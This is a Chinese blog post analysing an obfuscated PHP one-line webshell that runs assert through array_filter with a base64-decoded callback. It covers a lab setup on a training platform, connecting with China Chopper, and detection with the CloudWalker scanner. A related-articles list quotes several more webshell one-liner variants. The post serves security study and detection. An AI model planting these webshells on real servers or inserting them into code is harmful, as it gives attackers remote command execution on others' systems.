WebShell代码分析溯源(五)

一、一句话变形马样本

<?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($arr,base64_decode($e)); ?>

二、代码分析

1、调整代码格式

  

2、分析代码

首先使用REQUEST方法接收url中e参数传递的值,然后把$_POST['POST']赋值给arr数组,然后把arr数组中的每个键值传给base64_decode函数,最终构成一句话木马assert($_post['post'])

注: array_filter() 函数用回调函数过滤数组中的值 

三、漏洞环境搭建

1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第4题)),地址: https://www.mozhe.cn/bug/detail/ZVNlS096cEV0WHZsTzdKNHBKZXljUT09bW96aGUmozhe

2、代码环境,下载代码

  

3、分析(上面已经分析过了)

4、使用菜刀连接

  

5、执行一些命令

  

  

四、后记

学习常用webshell扫描检测查杀工具---牧云(CloudWalker)(百度WebShell扫描检测引擎),网址: https://github.com/chaitin/cloudwalker

使用牧云进行webshell查杀

1、通过命令检测

  

2、输出检测报告

  

  

WebShell代码分析溯源(五)的更多相关文章

  1. WebShell代码分析溯源(一)

    WebShell代码分析溯源(一) 一.一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二.代码分析 1.调整代码格式 <?php $_ ...

  2. WebShell代码分析溯源(十一)

    WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ( ...

  3. WebShell代码分析溯源(十)

    WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST[' ...

  4. WebShell代码分析溯源(九)

    WebShell代码分析溯源(九) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e', ...

  5. WebShell代码分析溯源(八)

    WebShell代码分析溯源(八) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasor ...

  6. WebShell代码分析溯源(七)

    WebShell代码分析溯源(七) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(ba ...

  7. WebShell代码分析溯源(六)

    WebShell代码分析溯源 一.一句话变形马样本 <?php call_user_func('assert', $_REQUEST['assert']); ?> 二.代码分析 1.分析代 ...

  8. WebShell代码分析溯源(四)

    WebShell代码分析溯源(四) 一.一句话变形马样本 <?php @$_++;$__=("`"^"?").(":"^"} ...

  9. WebShell代码分析溯源(三)

    WebShell代码分析溯源(三) 一.一句话变形马样本 <?php $g = array('','s');$gg = a.$g[1].ser.chr('116');@$gg($_POST[ge ...

随机推荐

  1. 关于jsp页面的复选框(checkbox)取值的获取问题

    复选框的取值问题可以使用js和jQuery来获取: jQuery API : each(callback) :以每一个匹配的元素作为上下文来执行一个函数. :checked :匹配所有选中的被选中元素 ...

  2. 暗灰色的圆形按钮.html

    宝宝 <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title& ...

  3. 转:Java实现敏感词过滤

    敏感词.文字过滤是一个网站必不可少的功能,如何设计一个好的.高效的过滤算法是非常有必要的.前段时间我一个朋友(马上毕业,接触编程不久)要我帮他看一个文字过滤的东西,它说检索效率非常慢.我把它程序拿过来 ...

  4. jenkins的部署

    一.jenkins相关工具安装 基于tomcat安装iptables  -F setenforce  0 systemctl stop firewalld.service Jdk安装 wgt  htt ...

  5. 前端跨域 nginx 反向代理

    1.下载ngnix稳定版   (http://nginx.org/en/download.html) 2.解压到你中意的目录. 3.将你的网页文件放到刚解压html文件目录下 4.打开conf  &g ...

  6. BZOJ3110[Zjoi2013]K大数查询(树状数组+整体二分)

    3110 [Zjoi2013]K大数查询 有N个位置,M个操作.操作有两种,每次操作如果是1 a b c的形式表示在第a个位置到第b个位置,每个位置加入一个数c如果是2 a b c形式,表示询问从第a ...

  7. POJ 1651 Mulitiplication Puzzle

    The multiplication puzzle is played with a row of cards, each containing a single positive integer. ...

  8. ARTS-S pytorch用c++实现推理

    训练的代码,以cifar为例 # -*- coding: utf-8 -*- import torch import torchvision import torchvision.transforms ...

  9. 【Seleniuem】selenium.common.exceptions.InvalidSelectorException

    selenium.common.exceptions.InvalidSelectorException: Message: invalid selector: An invalid or illega ...

  10. Java环境变量配置超详细教程

    https://blog.csdn.net/Mxdon_on/article/details/89461365 概述 Java的环境配置并不是特别难,但是对刚上手的新手来说确实是一个大问题 首先下载j ...